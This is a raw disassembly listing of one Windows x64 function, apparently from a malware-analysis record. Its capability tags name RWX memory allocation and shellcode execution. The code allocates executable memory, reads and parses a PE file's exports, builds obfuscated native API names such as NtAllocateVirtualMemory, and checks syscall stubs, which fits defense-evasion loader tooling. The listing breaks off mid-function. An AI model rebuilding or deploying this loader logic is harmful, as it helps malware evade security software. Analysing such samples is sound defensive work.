Function at 0x140002fc5
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
mov eax, 0x3048
call fcn.140014d00
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.140013d30
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x2f94], eax
mov eax, dword [rbp + 0x2f94]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x2f88], rax
mov rax, qword [rbp + 0x2f88]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x2f80], rax
mov rax, qword [rbp + 0x2f80]
add rax, 0x17
mov qword [rbp + 0x2f78], rax
mov rax, qword [rbp + 0x2f78]
add rax, 0x17
mov qword [rbp + 0x2f70], rax
mov rax, qword [rbp + 0x2f70]
add rax, 0x17
mov qword [rbp + 0x2f68], rax
mov rax, qword [rbp + 0x2f68]
add rax, 0x17
mov qword [rbp + 0x2f60], rax
mov rax, qword [rbp + 0x2f60]
add rax, 0x17
mov qword [rbp + 0x2f58], rax
mov rax, qword [rbp + 0x2f58]
add rax, 0x17
mov qword [rbp + 0x2f50], rax
mov rax, qword [rbp + 0x2f50]
add rax, 0x17
mov qword [rbp + 0x2f48], rax
mov rax, qword [rbp + 0x2f48]
add rax, 0x17
mov qword [rbp + 0x2f40], rax
mov rax, qword [rbp + 0x2f40]
add rax, 0x17
mov qword [rbp + 0x2f38], rax
mov rax, qword [rbp + 0x2f38]
add rax, 0x17
mov qword [rbp + 0x2f30], rax
mov rax, qword [rbp + 0x2f30]
add rax, 0x17
mov qword [rbp + 0x2f28], rax
mov rax, qword [rbp + 0x2f28]
add rax, 0x17
mov qword [rbp + 0x2f20], rax
mov rax, qword [rbp + 0x2f20]
add rax, 0x17
mov qword [rbp + 0x2f18], rax
mov rax, qword [rbp + 0x2f18]
add rax, 0x17
mov qword [rbp + 0x2f10], rax
mov rax, qword [rbp + 0x2f10]
add rax, 0x17
mov qword [rbp + 0x2f08], rax
mov rax, qword [rbp + 0x2f08]
add rax, 0x17
mov qword [rbp + 0x2f00], rax
mov qword [rbp + 0x130], 0
mov qword [rbp + 0x138], 0
mov qword [rbp + 0x13f], 0
mov dword [rbp + 0x12c], 0
mov qword [rbp + 0x2ef8], 0
mov dword [rbp + 0x2ef4], 0
mov dword [rbp + 0x128], 0
mov qword [rbp + 0x2ee8], 0
mov rax, qword [rbp + 0x2f80]
mov qword [0x140085038], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x2f80]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f78]
mov qword [0x140085040], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x2f78]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f70]
mov qword [0x140085048], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x2f70]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f68]
mov qword [0x140085050], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x2f68]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f60]
mov qword [0x140085058], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x2f60]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f58]
mov qword [0x140085060], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x2f58]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f50]
mov qword [0x140085068], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x2f50]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f48]
mov qword [0x140085070], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x2f48]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f40]
mov qword [0x140085078], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x2f40]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f38]
mov qword [0x140085080], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x2f38]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f30]
mov qword [0x140085088], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x2f30]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f28]
mov qword [0x140085090], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x2f28]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f20]
mov qword [0x140085098], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x2f20]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f18]
mov qword [0x1400850a0], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x2f18]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f10]
mov qword [0x1400850a8], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x2f10]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f08]
mov qword [0x1400850b0], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x2f08]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2f00]
mov qword [0x1400850b8], rax
lea rdx, [rbp + 0x12c]
mov rax, qword [rbp + 0x2f00]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, [0x14007a334]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x2ef8], rax
mov rax, qword [rbp + 0x2ef8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x2ef4], eax
mov ebx, dword [rbp + 0x2ef4]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x2ee8], rax
lea rcx, [rbp + 0x128]
mov r8d, dword [rbp + 0x2ef4]
mov rdx, qword [rbp + 0x2ee8]
mov rax, qword [rbp + 0x2ef8]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x2ee8]
mov qword [rbp + 0x2ee0], rax
mov rax, qword [rbp + 0x2ee0]
mov eax, dword [rax + 0x3c]
cdqe
mov rdx, qword [rbp + 0x2ee8]
add rax, rdx
mov qword [rbp + 0x2ed8], rax
mov rax, qword [rbp + 0x2ed8]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x2ed4], eax
mov rax, qword [rbp + 0x2ed8]
movzx eax, word [rax + 0x14]
movzx eax, ax
mov rdx, qword [rbp + 0x2ed8]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x2fb8], rax
mov rax, qword [rbp + 0x2fb8]
mov qword [rbp + 0x2ec8], rax
mov rax, qword [rbp + 0x2fb8]
mov qword [rbp + 0x2fb0], rax
mov dword [rbp + 0x2fac], 0
jmp 0x1400036d3
mov rax, qword [rbp + 0x2fb8]
lea rdx, str..rdata
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x1400036c4
mov rax, qword [rbp + 0x2fb8]
mov qword [rbp + 0x2fb0], rax
jmp 0x1400036e9
add qword [rbp + 0x2fb8], 0x28
add dword [rbp + 0x2fac], 1
mov rax, qword [rbp + 0x2ed8]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x2fac], eax
jl 0x14000369a
mov eax, dword [rbp + 0x2ed4]
mov rdx, qword [rbp + 0x2ee8]
add rax, rdx
mov rdx, qword [rbp + 0x2fb0]
mov rcx, rax
call fcn.1400014b0
mov qword [rbp + 0x2ec0], rax
lea rax, [rbp + 0x41f]
mov qword [rbp + 0x2e78], rax
nop
nop
lea rdx, [rbp + 0x41f]
lea rax, [rbp + 0x3f0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.14002b140
lea rax, [rbp + 0x3d0]
lea rdx, [rbp + 0x3f0]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x3b0]
lea rdx, [rbp + 0x3d0]
lea r8, [0x14007a35d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x390]
lea rdx, [rbp + 0x3b0]
lea r8, [0x14007a35f]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x370]
lea rdx, [rbp + 0x390]
lea r8, [0x14007a35f]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x350]
lea rdx, [rbp + 0x370]
lea r8, [0x14007a361]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x330]
lea rdx, [rbp + 0x350]
lea r8, [0x14007a363]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x310]
lea rdx, [rbp + 0x330]
lea r8, [0x14007a365]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2f0]
lea rdx, [rbp + 0x310]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2d0]
lea rdx, [rbp + 0x2f0]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x2b0]
lea rdx, [rbp + 0x2d0]
lea r8, [0x14007a369]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x290]
lea rdx, [rbp + 0x2b0]
lea r8, [0x14007a36b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x270]
lea rdx, [rbp + 0x290]
lea r8, [0x14007a36d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x250]
lea rdx, [rbp + 0x270]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x230]
lea rdx, [rbp + 0x250]
lea r8, [0x14007a36f]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x210]
lea rdx, [rbp + 0x230]
lea r8, [0x14007a365]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1f0]
lea rdx, [rbp + 0x210]
lea r8, [0x14007a35f]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1d0]
lea rdx, [rbp + 0x1f0]
lea r8, [0x14007a371]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x1b0]
lea rdx, [rbp + 0x1d0]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x190]
lea rdx, [rbp + 0x1b0]
lea r8, [0x14007a373]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x170]
lea rdx, [rbp + 0x190]
lea r8, [0x14007a361]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x150]
lea rdx, [rbp + 0x170]
lea r8, [0x14007a36d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x100]
lea rdx, [rbp + 0x150]
lea r8, [0x14007a375]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x150]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x170]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x190]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1b0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1d0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x1f0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x210]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x230]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x250]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x290]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2b0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2d0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x2f0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x310]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x330]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x350]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x370]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x390]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x3b0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x3d0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x3f0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x41f]
mov rcx, rax
call fcn.140028140
nop
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x420]
mov rcx, rax
call fcn.14002aca0
mov r9, qword [rbp + 0x2ec8]
mov r8, qword [rbp + 0x2ee8]
mov rdx, qword [rbp + 0x2ec0]
lea rax, [rbp + 0x420]
mov rcx, qword [rbp + 0x2f80]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2fb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2ebc], eax
lea rax, [rbp + 0x420]
mov rcx, rax
call fcn.14002b900
cmp dword [rbp + 0x2ebc], 0
je 0x140003b90
lea rbx, [0x14007a377]
jmp 0x140003b97
lea rbx, [0x14007a37c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.140023600
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x6cf]
mov qword [rbp + 0x2e70], rax
nop
nop
lea rdx, [rbp + 0x6cf]
lea rax, [rbp + 0x6a0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.14002b140
lea rax, [rbp + 0x680]
lea rdx, [rbp + 0x6a0]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x660]
lea rdx, [rbp + 0x680]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x640]
lea rdx, [rbp + 0x660]
lea r8, [0x14007a36d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x620]
lea rdx, [rbp + 0x640]
lea r8, [0x14007a36b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x600]
lea rdx, [rbp + 0x620]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x5e0]
lea rdx, [rbp + 0x600]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x5c0]
lea rdx, [rbp + 0x5e0]
lea r8, [0x14007a369]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x5a0]
lea rdx, [rbp + 0x5c0]
lea r8, [0x14007a36b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x580]
lea rdx, [rbp + 0x5a0]
lea r8, [0x14007a36d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x560]
lea rdx, [rbp + 0x580]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x540]
lea rdx, [rbp + 0x560]
lea r8, [0x14007a36f]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x520]
lea rdx, [rbp + 0x540]
lea r8, [0x14007a365]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x500]
lea rdx, [rbp + 0x520]
lea r8, [0x14007a35f]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x4e0]
lea rdx, [rbp + 0x500]
lea r8, [0x14007a371]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x4c0]
lea rdx, [rbp + 0x4e0]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x4a0]
lea rdx, [rbp + 0x4c0]
lea r8, [0x14007a373]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x480]
lea rdx, [rbp + 0x4a0]
lea r8, [0x14007a361]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x460]
lea rdx, [rbp + 0x480]
lea r8, [0x14007a36d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x440]
lea rdx, [rbp + 0x460]
lea r8, [0x14007a375]
mov rcx, rax
call fcn.14002c010
lea rdx, [rbp + 0x440]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002b940
lea rax, [rbp + 0x440]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x460]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x480]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x4a0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x4c0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x4e0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x500]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x520]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x540]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x560]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x580]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x5a0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x5c0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x5e0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x600]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x620]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x640]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x660]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x680]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x6a0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x6cf]
mov rcx, rax
call fcn.140028140
nop
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x6d0]
mov rcx, rax
call fcn.14002aca0
mov r9, qword [rbp + 0x2ec8]
mov r8, qword [rbp + 0x2ee8]
mov rdx, qword [rbp + 0x2ec0]
lea rax, [rbp + 0x6d0]
mov rcx, qword [rbp + 0x2f78]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2fb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2ebc], eax
lea rax, [rbp + 0x6d0]
mov rcx, rax
call fcn.14002b900
cmp dword [rbp + 0x2ebc], 0
je 0x140003fdd
lea rbx, [0x14007a377]
jmp 0x140003fe4
lea rbx, [0x14007a37c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.140023600
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x9bf]
mov qword [rbp + 0x2e68], rax
nop
nop
lea rdx, [rbp + 0x9bf]
lea rax, [rbp + 0x990]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.14002b140
lea rax, [rbp + 0x970]
lea rdx, [rbp + 0x990]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x950]
lea rdx, [rbp + 0x970]
lea r8, [0x14007a397]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x930]
lea rdx, [rbp + 0x950]
lea r8, [0x14007a36d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x910]
lea rdx, [rbp + 0x930]
lea r8, [0x14007a361]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x8f0]
lea rdx, [rbp + 0x910]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x8d0]
lea rdx, [rbp + 0x8f0]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x8b0]
lea rdx, [rbp + 0x8d0]
lea r8, [0x14007a363]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x890]
lea rdx, [rbp + 0x8b0]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x870]
lea rdx, [rbp + 0x890]
lea r8, [0x14007a369]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x850]
lea rdx, [rbp + 0x870]
lea r8, [0x14007a36b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x830]
lea rdx, [rbp + 0x850]
lea r8, [0x14007a36d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x810]
lea rdx, [rbp + 0x830]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x7f0]
lea rdx, [rbp + 0x810]
lea r8, [0x14007a36f]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x7d0]
lea rdx, [rbp + 0x7f0]
lea r8, [0x14007a365]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x7b0]
lea rdx, [rbp + 0x7d0]
lea r8, [0x14007a35f]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x790]
lea rdx, [rbp + 0x7b0]
lea r8, [0x14007a371]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x770]
lea rdx, [rbp + 0x790]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x750]
lea rdx, [rbp + 0x770]
lea r8, [0x14007a373]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x730]
lea rdx, [rbp + 0x750]
lea r8, [0x14007a361]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x710]
lea rdx, [rbp + 0x730]
lea r8, [0x14007a36d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x6f0]
lea rdx, [rbp + 0x710]
lea r8, [0x14007a375]
mov rcx, rax
call fcn.14002c010
lea rdx, [rbp + 0x6f0]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002b940
lea rax, [rbp + 0x6f0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x710]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x730]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x750]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x770]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x790]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x7b0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x7d0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x7f0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x810]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x830]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x850]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x870]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x890]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x8b0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x8d0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x8f0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x910]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x930]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x950]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x970]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x990]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0x9bf]
mov rcx, rax
call fcn.140028140
nop
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x9c0]
mov rcx, rax
call fcn.14002aca0
mov r9, qword [rbp + 0x2ec8]
mov r8, qword [rbp + 0x2ee8]
mov rdx, qword [rbp + 0x2ec0]
lea rax, [rbp + 0x9c0]
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2fb0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2ebc], eax
lea rax, [rbp + 0x9c0]
mov rcx, rax
call fcn.14002b900
cmp dword [rbp + 0x2ebc], 0
je 0x140004482
lea rbx, [0x14007a377]
jmp 0x140004489
lea rbx, [0x14007a37c]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.140023600
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0xbef]
mov qword [rbp + 0x2e60], rax
nop
nop
lea rdx, [rbp + 0xbef]
lea rax, [rbp + 0xbc0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.14002b140
lea rax, [rbp + 0xba0]
lea rdx, [rbp + 0xbc0]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xb80]
lea rdx, [rbp + 0xba0]
lea r8, [0x14007a399]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xb60]
lea rdx, [rbp + 0xb80]
lea r8, [0x14007a36d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xb40]
lea rdx, [rbp + 0xb60]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xb20]
lea rdx, [rbp + 0xb40]
lea r8, [0x14007a365]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xb00]
lea rdx, [rbp + 0xb20]
lea r8, [0x14007a35b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xae0]
lea rdx, [rbp + 0xb00]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xac0]
lea rdx, [rbp + 0xae0]
lea r8, [0x14007a39b]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xaa0]
lea rdx, [rbp + 0xac0]
lea r8, [0x14007a39d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xa80]
lea rdx, [rbp + 0xaa0]
lea r8, [0x14007a36d]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xa60]
lea rdx, [rbp + 0xa80]
lea r8, [0x14007a367]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xa40]
lea rdx, [rbp + 0xa60]
lea r8, [0x14007a365]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xa20]
lea rdx, [rbp + 0xa40]
lea r8, [0x14007a39f]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0xa00]
lea rdx, [rbp + 0xa20]
lea r8, [0x14007a3a1]
mov rcx, rax
call fcn.14002c010
lea rax, [rbp + 0x9e0]
lea rdx, [rbp + 0xa00]
lea r8, [0x14007a3a3]
mov rcx, rax
call fcn.14002c010
lea rdx, [rbp + 0x9e0]
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.14002b940
lea rax, [rbp + 0x9e0]
mov rcx, rax
call fcn.14002b900
lea rax, [rbp + 0xa00]
mov rcx, rax
call fcn.14002b900
